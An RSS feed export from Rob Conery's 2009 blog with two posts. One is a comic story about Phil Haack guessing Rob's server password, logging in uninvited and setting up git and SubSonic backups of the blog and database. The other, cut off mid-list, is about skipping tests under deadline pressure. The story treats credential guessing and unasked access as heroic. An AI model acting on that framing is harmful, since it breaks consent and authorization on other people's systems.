<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="http://codebetter.com/utility/FeedStylesheets/rss.xsl" media="screen"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:wfw="http://wellformedweb.org/CommentAPI/"><channel><title>Rob Conery</title><link>http://codebetter.com/blogs/rob.conery/default.aspx</link><description /><dc:language>en</dc:language><generator>CommunityServer 2008.5 SP1 (Build: 31106.3070)</generator><item><title>Using Git as a Backup Tool</title><link>http://codebetter.com/blogs/rob.conery/archive/2009/12/15/using-git-as-a-backup-tool.aspx</link><pubDate>Tue, 15 Dec 2009 22:38:00 GMT</pubDate><guid isPermaLink="false">d21fbbc9-c112-4f32-ad14-95939a2c53d4:524160</guid><dc:creator>robconery</dc:creator><slash:comments>4</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://codebetter.com/blogs/rob.conery/rsscomments.aspx?PostID=524160</wfw:commentRss><comments>http://codebetter.com/blogs/rob.conery/archive/2009/12/15/using-git-as-a-backup-tool.aspx#comments</comments><description>&lt;p&gt;It had been a hellish week, and at this moment sleep was not an option for Phil. maybe it was the kimchee, maybe it was the realization that his blog almost shrugged off its digital coil as a result of &lt;a href="http://haacked.com/archive/2009/12/14/back-in-business-again.aspx" target="_blank"&gt;The Great Blogtastrophe&lt;/a&gt;. Phil was tossing anxiously in his bed - visions of hard drives melted in his head and then&amp;hellip;&lt;/p&gt;
&lt;p&gt;Oh CRAP &amp;ndash; his spine straightened in horror: &amp;ldquo;OMFG I don&amp;rsquo;t know if ROB HAS BACKED HIS BLOG UP!&amp;rdquo;. There was no time to waste &amp;ndash; this has to be fixed. Phil raced to his machine, fear mounting as he visualized a world without Rob&amp;rsquo;s blog&amp;hellip; horrifying&amp;hellip; [diety] help us&amp;hellip;&lt;/p&gt;
&lt;h2&gt;The Harsh Reality&lt;/h2&gt;
&lt;p&gt;The laptop hummed to life, bathing the room in deep red light from his Masters of the Universe desktop wallpaper. He quickly typed in his shortcut for Remote Desktop Connection, entering the address for Rob&amp;rsquo;s server in the Server Address box. And then froze. He didn&amp;rsquo;t know the login and password&amp;hellip;&lt;/p&gt;
&lt;p&gt;Relying on intuition and a deep dark secret he knows about Rob, Phil guessed at the login/password and nailed it the first shot. It couldn&amp;rsquo;t be that easy&amp;hellip; is Rob such an amazing haack that he used THAT for his login? Oh no&amp;hellip; this could be really, really ugly.&lt;/p&gt;
&lt;p&gt;Phil was greeted with a sea of desktop icons &amp;ndash; dlls and text files co-mingling in digital sin. Shortcuts to nowhere. He was tempted to kick up a game of minesweeper &amp;ndash; but a glance at the clock made him realize time was running out. He pulled up SQL Server&amp;rsquo;s Management studio to analyze Rob&amp;rsquo;s backup plan and quickly saw he had none. The horror&amp;hellip; the horror&amp;hellip; the&amp;hellip; horror&amp;hellip;.&lt;/p&gt;
&lt;p&gt;&amp;ldquo;I can&amp;rsquo;t let this happen to the most awesome person I know&amp;hellip; even if he is a complete hack&amp;rdquo; Phil thought, and his fingers went into action &amp;ndash; creating the missing backup plan. He dropped open the Management directory and right-clicked on Maintenance Plans &amp;ndash; selecting &amp;ldquo;New Maintenance Plan&amp;rdquo; (&amp;ldquo;Wizards are for CHUMPS&amp;rdquo; he thinks to himself). He quickly creates a backup plan and schedules it to go off 3 times a week:&lt;/p&gt;
&lt;p&gt;&lt;img style="border-right-width:0px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" title="backup" border="0" alt="backup" src="http://codebetter.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/rob.conery/backup_5F00_10317007.png" width="489" height="565" /&gt;&amp;nbsp; &lt;/p&gt;
&lt;p&gt;&lt;img style="border-right-width:0px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" title="backup2" border="0" alt="backup2" src="http://codebetter.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/rob.conery/backup2_5F00_7CA41065.png" width="503" height="354" /&gt;&amp;nbsp; &lt;/p&gt;
&lt;p&gt;He decides to be as tidy as possible &amp;ndash; Rob needs some kind of role model here and while he&amp;rsquo;s tempted to throw the .BAK file onto the Desktop (oh delicious irony) he can&amp;rsquo;t bring himself to be that cruel. Well, he can but in this case he has a plan&amp;hellip;&lt;/p&gt;
&lt;h2&gt;The Missing Backup Plan&lt;/h2&gt;
&lt;p&gt;Phil scanned Rob&amp;rsquo;s server in a panic, praying that his ISP had performed some type of Backup Intervention &amp;ndash; instead all he saw were traces of tough love and Rob insisting on living life the hard way. Phil knew the hard way &amp;ndash; knew it all too well. His blog was almost lost to his folly &amp;ndash; he couldn&amp;rsquo;t let this happen to his most favorite person &amp;ndash; he needed to make sure that all of his data as well as uploads was safe for all posterity!&lt;/p&gt;
&lt;p&gt;DropBox, LiveMesh, X-Drive, SkyDrive, Mozy &amp;ndash; the digital world is awash with people pushing backup space. &lt;strong&gt;Why in Fowler&amp;rsquo;s Name did Rob choose to live in this Geek Ghetto&lt;/strong&gt;? There was no service available &amp;ndash; nothing had ever been archived. Phil was stuck.&lt;/p&gt;
&lt;p&gt;And then he remembered&amp;hellip; &amp;ldquo;Didn&amp;rsquo;t Rob do some kind of post that I never read about &lt;a href="http://blog.wekeroad.com/2009/11/23/deploying-a-web-application-with-git-and-ftp" target="_blank"&gt;deploying sites with Git and FTP&lt;/a&gt;? Hmmm, I wonder if he&amp;rsquo;s got &lt;a href="http://code.google.com/p/msysgit/" target="_blank"&gt;Msysgit&lt;/a&gt; installed on this box. Would be weird if he did but&amp;hellip; I wouldn&amp;rsquo;t rule it out&amp;hellip;&amp;rdquo; Phil right clicked on a directory and was shocked and relieved to see the most wonderful prompt he&amp;rsquo;s ever seen in his life:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Git Bash Here&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Setting Up The Remote&lt;/h2&gt;
&lt;p&gt;The pieces of the puzzle were starting to fall into place &amp;ndash; he&amp;rsquo;d push Rob&amp;rsquo;s blog to a remote service! And then he&amp;rsquo;d set up a shell script using Scheduled Tasks to repeat the operation! Oh SHAZAAAM!&lt;/p&gt;
&lt;p&gt;In a rush of inspiration Phil logged into his &lt;a href="http://unfuddle.com" target="_blank"&gt;Unfuddle&lt;/a&gt; account, loading up a new Git repository just for Rob. &amp;ldquo;Happy Holidays you troll&amp;hellip;&amp;rdquo; Phil thought. He could also have used Github since he paid for the service upgrade to have a private repository.&lt;/p&gt;
&lt;p&gt;He added the entire directory, including the new database BAK file, to git:&lt;/p&gt;
&lt;div id="codeSnippetWrapper"&gt;
&lt;div style="text-align:left;line-height:12pt;background-color:#f4f4f4;width:100%;font-family:&amp;#39;Courier New&amp;#39;, courier, monospace;direction:ltr;color:black;font-size:8pt;overflow:visible;border-style:none;padding:0px;" id="codeSnippet"&gt;
&lt;pre style="text-align:left;line-height:12pt;background-color:white;margin:0em;width:100%;font-family:&amp;#39;Courier New&amp;#39;, courier, monospace;direction:ltr;color:black;font-size:8pt;overflow:visible;border-style:none;padding:0px;"&gt;git init&lt;/pre&gt;

&lt;pre style="text-align:left;line-height:12pt;background-color:#f4f4f4;margin:0em;width:100%;font-family:&amp;#39;Courier New&amp;#39;, courier, monospace;direction:ltr;color:black;font-size:8pt;overflow:visible;border-style:none;padding:0px;"&gt;git add .&lt;/pre&gt;

&lt;pre style="text-align:left;line-height:12pt;background-color:white;margin:0em;width:100%;font-family:&amp;#39;Courier New&amp;#39;, courier, monospace;direction:ltr;color:black;font-size:8pt;overflow:visible;border-style:none;padding:0px;"&gt;git commit -am &lt;span style="color:#006080;"&gt;&amp;quot;Saving Robz Assssss&amp;quot;&lt;/span&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Once the initial setup was completed, he added in a remote:&lt;/p&gt;
&lt;div id="codeSnippetWrapper"&gt;
&lt;div style="text-align:left;line-height:12pt;background-color:#f4f4f4;width:100%;font-family:&amp;#39;Courier New&amp;#39;, courier, monospace;direction:ltr;color:black;font-size:8pt;overflow:visible;border-style:none;padding:0px;" id="codeSnippet"&gt;
&lt;pre style="text-align:left;line-height:12pt;background-color:white;margin:0em;width:100%;font-family:&amp;#39;Courier New&amp;#39;, courier, monospace;direction:ltr;color:black;font-size:8pt;overflow:visible;border-style:none;padding:0px;"&gt;git remote add backup git://haackattack.unfuddle.com:haackattack/robrocks.git&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The final part was adding the script to a CMD file, with the recursive trick of adding this shell script to the archive itself:&lt;/p&gt;
&lt;div id="codeSnippetWrapper"&gt;
&lt;div style="text-align:left;line-height:12pt;background-color:#f4f4f4;width:100%;font-family:&amp;#39;Courier New&amp;#39;, courier, monospace;direction:ltr;color:black;font-size:8pt;overflow:visible;border-style:none;padding:0px;" id="codeSnippet"&gt;
&lt;pre style="text-align:left;line-height:12pt;background-color:white;margin:0em;width:100%;font-family:&amp;#39;Courier New&amp;#39;, courier, monospace;direction:ltr;color:black;font-size:8pt;overflow:visible;border-style:none;padding:0px;"&gt;git add . &amp;amp; git commit -am &lt;span style="color:#006080;"&gt;&amp;quot;Periodic backup %DATE%&amp;quot;&lt;/span&gt; &amp;amp; git push backup master&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The only part left was to run the script to make sure it worked:&lt;/p&gt;
&lt;p&gt;&lt;img style="border-right-width:0px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" title="backup_success" border="0" alt="backup_success" src="http://codebetter.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/rob.conery/backup_5F00_success_5F00_2D571811.png" width="735" height="270" /&gt;&amp;nbsp; &lt;/p&gt;
&lt;p&gt;&amp;ldquo;Damn I&amp;rsquo;m good. No &amp;hellip; no&amp;hellip;&lt;strong&gt; I&amp;rsquo;m a frickin super star&lt;/strong&gt;&amp;rdquo; Phil thought to himself. He thought these things a lot but in this case, in this one strange turn of fate, he was correct. It felt good to be correct and Phil sat back in his Aeron, savoring the moment.&lt;/p&gt;
&lt;h2&gt;The Scheduled Task&lt;/h2&gt;
&lt;p&gt;Phil opened the Task Scheduler wizard and created a basic task. He set the schedule to go off 3 times a week, and in the &amp;ldquo;Start a Program&amp;rdquo; dialog entered the path to the script he just created:&lt;/p&gt;
&lt;p&gt;&lt;img style="border-right-width:0px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" title="task1" border="0" alt="task1" src="http://codebetter.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/rob.conery/task1_5F00_59FFD1EA.png" width="700" height="480" /&gt;&amp;nbsp; &lt;/p&gt;
&lt;p&gt;Surveying the summary, Phil felt the rush once again. He was the shine of the sun, a beacon of correctness and excellence in the dark of Rob&amp;rsquo;s world:&lt;/p&gt;
&lt;p&gt;&lt;img style="border-right-width:0px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" title="task_summary" border="0" alt="task_summary" src="http://codebetter.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/rob.conery/task_5F00_summary_5F00_2ACDE653.png" width="698" height="480" /&gt;&amp;nbsp; &lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2&gt;One Upping Rob&lt;/h2&gt;
&lt;p&gt;It was good to be right, and Phil couldn&amp;rsquo;t get enough of it. He decided that he needed to one-up Rob on his own turf, using Git and FTP to back up Rob&amp;rsquo;s blog to his own hard drive.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;I&amp;rsquo;ll show him that I&amp;rsquo;m awesome too.. &amp;rdquo; Phil thought, &amp;ldquo;&amp;hellip; and I&amp;rsquo;ll use his precious SubSonic to do it&amp;hellip; yes&amp;hellip; yes&amp;hellip;&amp;rdquo;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Phil headed over to SubSonic&amp;rsquo;s source at Github and &lt;a href="http://github.com/subsonic/SubSonic-2.0/downloads" target="_blank"&gt;grabbed the latest drop of SubSonic 2.2&lt;/a&gt; &amp;ndash; knowing that there was a handy tool called &amp;ldquo;SubCommander&amp;rdquo; that would not only script out the schema of a database, but the data as well. &lt;/p&gt;
&lt;p&gt;He dropped the binary files to his C drive, into his SubSonic folder, and once again kicked up his text editor to create a shell script for Rob&amp;rsquo;s SQL Server Database:&lt;/p&gt;
&lt;div id="codeSnippetWrapper"&gt;
&lt;div style="text-align:left;line-height:12pt;background-color:#f4f4f4;width:100%;font-family:&amp;#39;Courier New&amp;#39;, courier, monospace;direction:ltr;color:black;font-size:8pt;overflow:visible;border-style:none;padding:0px;" id="codeSnippet"&gt;
&lt;pre style="text-align:left;line-height:12pt;background-color:white;margin:0em;width:100%;font-family:&amp;#39;Courier New&amp;#39;, courier, monospace;direction:ltr;color:black;font-size:8pt;overflow:visible;border-style:none;padding:0px;"&gt;C:\SubSonic\sonic.exe scriptschema /override  /out Z:\RobsBlog\ /server wekeroad.com /userid cody /password ------- /db shwerko &lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;As he ran the script he wondered why Rob named his database &amp;ldquo;shwerko&amp;rdquo;, and also if he would ever be dumb enough to publish the real credentials on his blog in some ridiculous blog post. &amp;ldquo;No&amp;rdquo;, he thought, &amp;ldquo;not even Rob is capable of such silliness&amp;hellip;&amp;rdquo;. &lt;/p&gt;
&lt;p&gt;When he was done, he saw a SQL script file placed in the Z:\RobsBlog directory:&lt;/p&gt;
&lt;p&gt;&lt;img style="border-right-width:0px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" title="schema" border="0" alt="schema" src="http://codebetter.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/rob.conery/schema_5F00_1E5FC32A.png" width="368" height="55" /&gt;&amp;nbsp; &lt;/p&gt;
&lt;p&gt;He added another command to the script to pull the data as well:&lt;/p&gt;
&lt;div id="codeSnippetWrapper"&gt;
&lt;div style="text-align:left;line-height:12pt;background-color:#f4f4f4;width:100%;font-family:&amp;#39;Courier New&amp;#39;, courier, monospace;direction:ltr;color:black;font-size:8pt;overflow:visible;border-style:none;padding:0px;" id="codeSnippet"&gt;
&lt;pre style="text-align:left;line-height:12pt;background-color:white;margin:0em;width:100%;font-family:&amp;#39;Courier New&amp;#39;, courier, monospace;direction:ltr;color:black;font-size:8pt;overflow:visible;border-style:none;padding:0px;"&gt;C:\SubSonic\sonic.exe scriptdata /override  /out Z:\RobsBlog\ /server wekeroad.com /userid cody /password ------- /db shwerko&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And this dropped another .sql file right under the first, full of INSERT statements. Perfect!&lt;/p&gt;
&lt;p&gt;Now for the fun part&amp;hellip;&lt;/p&gt;
&lt;h2&gt;Hooking Up FTP and Git to Pull Rob&amp;rsquo;s Blog To an External Flash Drive&lt;/h2&gt;
&lt;p&gt;Just in case Unfuddle explodes, Phil decides to be prudent and backup Rob&amp;rsquo;s blog to &lt;a href="http://www.amazon.com/Western-Digital-Passport-Essential-WDXMS2500TN/dp/B000RY2PLQ" target="_blank"&gt;his 250g external flash USB drive that he got for last Christmas&lt;/a&gt; from Jeff Atwood after they got into an argument about who could do the worst job backing up their blogs. Phil recalls that &lt;a href="http://www.codinghorror.com/blog/archives/001045.html" target="_blank"&gt;perhaps Jeff won this argument&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;One thing&amp;#39;s for sure: until you have a backup strategy of some kind, you&amp;#39;re screwed, you just don&amp;#39;t know it yet. If backing up your data sounds like a hassle, that&amp;#39;s because it is. &lt;strong&gt;Shut up. I know things. You will listen to me. Do it anyway.&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Redundancy. That&amp;rsquo;s what Rob needs. Redundancy. That&amp;rsquo;s what Rob needs and I&amp;rsquo;m sure of it. Phil decides to map a drive to Rob&amp;rsquo;s FTP server so he can do some Git magic over FTP. Phil&amp;rsquo;s running 64-bit windows and knows that the only thing he can do is to purchase &lt;a href="http://www.webdrive.com/" target="_blank"&gt;WebDrive&lt;/a&gt; since it&amp;rsquo;s the only reliable way (as of this crazy, stressful evening) to wire a hard drive to an FTP site. He used to run &lt;a href="http://www.netdrive.net/" target="_blank"&gt;NetDrive&lt;/a&gt; happily on his 32-bit installation of Windows ME and it worked great.&lt;/p&gt;
&lt;p&gt;He kicks up WebDrive and maps his W: drive to Rob&amp;rsquo;s site root, happy to see the &amp;ldquo;.git&amp;rdquo; folder in there. He knows that if it wasn&amp;rsquo;t in there he could easily put it there by using the following commands (since Git doesn&amp;rsquo;t see the FTP part &amp;ndash; only another drive on the machine &amp;ndash; WebDrive handles the plumbing):&lt;/p&gt;
&lt;div id="codeSnippetWrapper"&gt;
&lt;div style="text-align:left;line-height:12pt;background-color:#f4f4f4;width:100%;font-family:&amp;#39;Courier New&amp;#39;, courier, monospace;direction:ltr;color:black;font-size:8pt;overflow:visible;border-style:none;padding:0px;" id="codeSnippet"&gt;
&lt;pre style="text-align:left;line-height:12pt;background-color:white;margin:0em;width:100%;font-family:&amp;#39;Courier New&amp;#39;, courier, monospace;direction:ltr;color:black;font-size:8pt;overflow:visible;border-style:none;padding:0px;"&gt;git init&lt;/pre&gt;

&lt;pre style="text-align:left;line-height:12pt;background-color:#f4f4f4;margin:0em;width:100%;font-family:&amp;#39;Courier New&amp;#39;, courier, monospace;direction:ltr;color:black;font-size:8pt;overflow:visible;border-style:none;padding:0px;"&gt;git add .&lt;/pre&gt;

&lt;pre style="text-align:left;line-height:12pt;background-color:white;margin:0em;width:100%;font-family:&amp;#39;Courier New&amp;#39;, courier, monospace;direction:ltr;color:black;font-size:8pt;overflow:visible;border-style:none;padding:0px;"&gt;git commit -am &lt;span style="color:#006080;"&gt;&amp;quot;Loading up Robs sorry blog&amp;quot;&lt;/span&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Phil creates a directory on his backup drive and calls it &amp;ldquo;BlogArchive&amp;rdquo; and then issues the simple clone command for Git &amp;ndash; pulling down Rob&amp;rsquo;s blog &amp;ndash; noting that WebDrive is acting as middleman here:&lt;/p&gt;
&lt;p&gt;&lt;img style="border-right-width:0px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" title="ftppull" border="0" alt="ftppull" src="http://codebetter.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/rob.conery/ftppull_5F00_6F9A0A87.png" width="725" height="416" /&gt;&amp;nbsp;&amp;nbsp; &lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;To complete his masterpiece of extraordinariness, Phil puts this all in a script which he can execute as needed, pulling down the data as well as all the assets at once, storing them on his flash drive:&lt;/p&gt;
&lt;div id="codeSnippetWrapper"&gt;
&lt;div style="text-align:left;line-height:12pt;background-color:#f4f4f4;width:100%;font-family:&amp;#39;Courier New&amp;#39;, courier, monospace;direction:ltr;color:black;font-size:8pt;overflow:visible;border-style:none;padding:0px;" id="codeSnippet"&gt;
&lt;pre style="text-align:left;line-height:12pt;background-color:white;margin:0em;width:100%;font-family:&amp;#39;Courier New&amp;#39;, courier, monospace;direction:ltr;color:black;font-size:8pt;overflow:visible;border-style:none;padding:0px;"&gt;git pull origin master &amp;amp;&lt;span style="color:#008000;"&gt;&amp;amp; &lt;/span&gt;&lt;/pre&gt;

&lt;pre style="text-align:left;line-height:12pt;background-color:#f4f4f4;margin:0em;width:100%;font-family:&amp;#39;Courier New&amp;#39;, courier, monospace;direction:ltr;color:black;font-size:8pt;overflow:visible;border-style:none;padding:0px;"&gt;C:\SubSonic\sonic.exe scriptschema /override /out K:\BlogArchive\Hana\ /server wekeroad.com /userid cody /password ------- /db shwerko &amp;amp;&lt;span style="color:#008000;"&gt;&amp;amp; &lt;/span&gt;&lt;/pre&gt;

&lt;pre style="text-align:left;line-height:12pt;background-color:white;margin:0em;width:100%;font-family:&amp;#39;Courier New&amp;#39;, courier, monospace;direction:ltr;color:black;font-size:8pt;overflow:visible;border-style:none;padding:0px;"&gt;C:\SubSonic\sonic.exe scriptdata /override  /out K:\BlogArchive\Hana\ /server wekeroad.com /userid cody /password ------- /db shwerko&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;In reviewing his work, Phil thought it was good. He felt a restfulness come over him as he realized he had just saved Rob&amp;rsquo;s blog from possible oblivion. Not only that, he could now look at Rob&amp;rsquo;s source code for Hana and maybe plug some of it in to Subtext&amp;hellip;&lt;/p&gt;
&lt;p&gt;The room stayed lit that night, bathed in the red glow of Phil&amp;rsquo;s desktop wallpaper&amp;hellip; and his feeling of accomplishment. &lt;/p&gt;
&lt;p&gt;&amp;ldquo;I wonder if Galloway has a backup plan&amp;hellip;&amp;rdquo; thought Phil, and kicked up Remote Desktop Connection once again&amp;hellip;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://codebetter.com/aggbug.aspx?PostID=524160" width="1" height="1"&gt;</description></item><item><title>My Enemy, My Self</title><link>http://codebetter.com/blogs/rob.conery/archive/2009/08/31/my-enemy-my-self.aspx</link><pubDate>Mon, 31 Aug 2009 19:46:02 GMT</pubDate><guid isPermaLink="false">d21fbbc9-c112-4f32-ad14-95939a2c53d4:332644</guid><dc:creator>robconery</dc:creator><slash:comments>7</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://codebetter.com/blogs/rob.conery/rsscomments.aspx?PostID=332644</wfw:commentRss><comments>http://codebetter.com/blogs/rob.conery/archive/2009/08/31/my-enemy-my-self.aspx#comments</comments><description>&lt;p&gt;I’m building an application which I’ll talk more about later – but &lt;strong&gt;this one’s different&lt;/strong&gt; from other applications I’ve built: &lt;strong&gt;this one’s for me&lt;/strong&gt;. In the same way teaching your spouse/significant other how to do X is a major pain in the ass, building your own application makes you do dumb, silly things (I think Jeff Atwood might be able to back me up on this one…). This, friends, is a story of my pain to ease your Monday blues.&lt;/p&gt;   &lt;h4&gt;Starting Out Seemed So Simple…&lt;/h4&gt;  &lt;p&gt;I had an idea, and the idea was good. So I decided to build an application around this idea and I got together the various tools and things that I thought I would need. I played with the idea of using Rails (for a change – why not), but then a curious thing happened: my inner Type 1 Ass-kicker decided to wake up:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;This aint no disco butthead. Build using something you know, stop dicking around!&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;He’s a real dick – that inner Type 1 Ass-kicker (we’ll call him Bad Rob) and if I don’t listen to him – or at least make him *think* I’m listening to him, well things will just get ugly. &lt;/p&gt;  &lt;p&gt;I ditched my Rails musings and plowed ahead with ASP.NET MVC. I grabbed my favorite&lt;a href="http://codebetter.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/rob.conery/TylerDurden_5F00_1C236CD7.jpg"&gt;&lt;img style="border-right-width:0px;display:inline;border-top-width:0px;border-bottom-width:0px;margin-left:0px;border-left-width:0px;margin-right:0px;" title="TylerDurden" border="0" alt="TylerDurden" align="right" src="http://codebetter.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/rob.conery/TylerDurden_5F00_thumb_5F00_485FF3BB.jpg" width="288" height="242" /&gt;&lt;/a&gt; testing tools, updated jQuery with my favorite plugins, and I was off to the races. With one exception – I snuck in a last-minute substitution while Bad Rob wasn’t looking: &lt;a href="http://www.db4o.com/"&gt;DB4O&lt;/a&gt;. Here are the tools I went with:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;ASP.NET MVC 1.0&amp;#160; &lt;/li&gt;    &lt;li&gt;Machine.Specifications (BDD testing stuff) &lt;/li&gt;    &lt;li&gt;XUnit (love u Brad!) &lt;/li&gt;    &lt;li&gt;jQuery UI – full suite, ajaxForm plugin, validation plugin &lt;/li&gt;    &lt;li&gt;DB4O – just because. &lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;I’ve &lt;a href="http://blog.wekeroad.com/blog/crazy-talk-reducing-orm-friction/"&gt;written about using DB4O&lt;/a&gt; before – I love the thing. Persistence made easy! I kicked up VS and got ready to roll…&lt;/p&gt;  &lt;h4&gt;Good Rob, Bad Rob&lt;/h4&gt;  &lt;p&gt;That’s when the fun started. See, Good Rob (the guy who likes to write tests *first*, the guy who tries to &lt;a href="http://codebetter.com/blogs/rob.conery/archive/2009/05/21/jumping-the-20-fence.aspx"&gt;vet just WTF he’s going to do and why&lt;/a&gt;) would have sat down and cranked out some specs against some type of iteration and time plan. Then maybe tied everything to a nice build server (which is purring away at my webhost) and… yadda yadda yadda.&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;Whatever Nancy-boy, it’s not like you’re getting paid to dick around here and no one’s gonna see your code! This site needs to go LIVE so get ON IT. Yah testing is fun – test whatever you want – AFTER YOU’RE DONE.&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;And there it is: &lt;strong&gt;business vs. process&lt;/strong&gt;. The best part is that this Fight Club dialog is taking place right inside my skull, and Bad Rob is playing on my fear of “getting something done” while Good Rob wants to do it right. &lt;/p&gt;  &lt;p&gt;Yikes. &lt;strong&gt;Dueling success metrics (such a lovely corporate term): “results” vs. “quality”.&lt;/strong&gt;&lt;/p&gt;  &lt;h4&gt;Digression&lt;/h4&gt;  &lt;p&gt;Yes, this kind of thing is common – in fact it’s expected – in every &lt;strike&gt;software&lt;/strike&gt; project ever undertaken. It doesn’t matter the company and in fact it happened to me at Microsoft. I was working with a team right after I started and I was about a week into the work when we had a team meeting and I was asked to “give a demo”.&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;“I don’t really … umm… have anything to show… oh wait yah I do – take a look at my test results so far.”&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;And the room erupted into laughter. “Nice! We don’t have an app but we can show our users some great test results!” &lt;/p&gt;  &lt;p&gt;Granted – they were teasing me. All the same I couldn’t help feel that the expectation was that I needed to Show Something. Next time I’m in that situation I’ll be smarter and bring some HTML mockups – either that or &lt;a href="http://www.balsamiq.com/"&gt;Balsamiq&lt;/a&gt;.&lt;/p&gt;  &lt;h4&gt;Good Rob Loses&lt;/h4&gt;  &lt;p&gt;As always, time is short when doing these things. Bad Rob was continuously reminding me that I needed to get this thing done and out and I gave in to the pressure. It really sucks to give in like this, but Bad Rob can be awfully, awfully convincing.&lt;/p&gt;  &lt;p&gt;So I appeased him – I wrote the app quickly and cranked out the initial spec, and the decided I would back everything up with a set of tests. I really, really like the BDD approach so I started with that, and I gave myself 3 hours to write as many tests (errrr specs) as I could.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;And then all hell broke loose.&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;I wish I could surround the following paragraph in glitter and flashing lights, because it’s something that I had forgotten by being “out of the mix” for a few years. I was surprised at myself – so much so that Bad Rob started to panic and got really pissed off at Good Rob for writing “such crappy code”. Here’s what happened:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;In my haste to write said application, &lt;strong&gt;I managed to goof up one of the main specs&lt;/strong&gt;. I thought I was doing it right, but… &lt;/li&gt;    &lt;li&gt;When I started to write my tests I realized this error, and I started to fix it. This “fix”&lt;strong&gt; led to me refactoring a lot of “slop”&lt;/strong&gt; that I had left until later – the “technical debt” if you will that I figured I’d refactor when I was testing. &lt;/li&gt;    &lt;li&gt;The slop started to build, and the&lt;strong&gt; refactoring started to spiral&lt;/strong&gt;. I was fixing things that I knew I shouldn’t have done – things I would have dealt with properly had I slowed down. Next thing you know the entire app was in pieces on the floor… &lt;/li&gt;    &lt;li&gt;Including my tests. I had about 50 or so written and now I was &lt;strong&gt;commenting out my tests liberally – they were invalid&lt;/strong&gt; and I felt really dumb for writing them in the first place without using them to validate the code I was going to write! &lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;What was supposed to be a 3-hour fun session of writing tests turned into much more and ended with a shouting match between Good Rob and Bad Rob, with Good Rob threatening that he was “going to BLOG THIS” (looks like he went ahead and did that…).&lt;/p&gt;  &lt;h4&gt;Back On Track&lt;/h4&gt;  &lt;p&gt;I wasted hours and hours retro-fitting my little application and stuffing Bad Rob back into his id-box. As I say &lt;strong&gt;I knew better&lt;/strong&gt;, but feel prey to the “we need it NOW” bomb that Bad Rob kept lighting off. &lt;/p&gt;  &lt;p&gt;What I should have done was this:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;&lt;strong&gt;Use Tools you know&lt;/strong&gt;. I like DB4O a lot – and it worked perfectly as a testing “Fake”. I ran into some problems with it (which I’ll talk about later) and what I should have done was go with something I know. &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Write out your specs&lt;/strong&gt;. I should have written out the specs and behaviors of my app and formalized it into a testing suite. At least 20 or so to get going. Adjustments are easy and reading the behaviors crystallizes WTF you are doing in the&amp;#160; first place. If you’re not a BDD fan – then write your tests in “comment form” – just to get the ideas down. &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Have some damn discipline&lt;/strong&gt;. I know I’ll need ViewModels to handle complex UI logic, I know 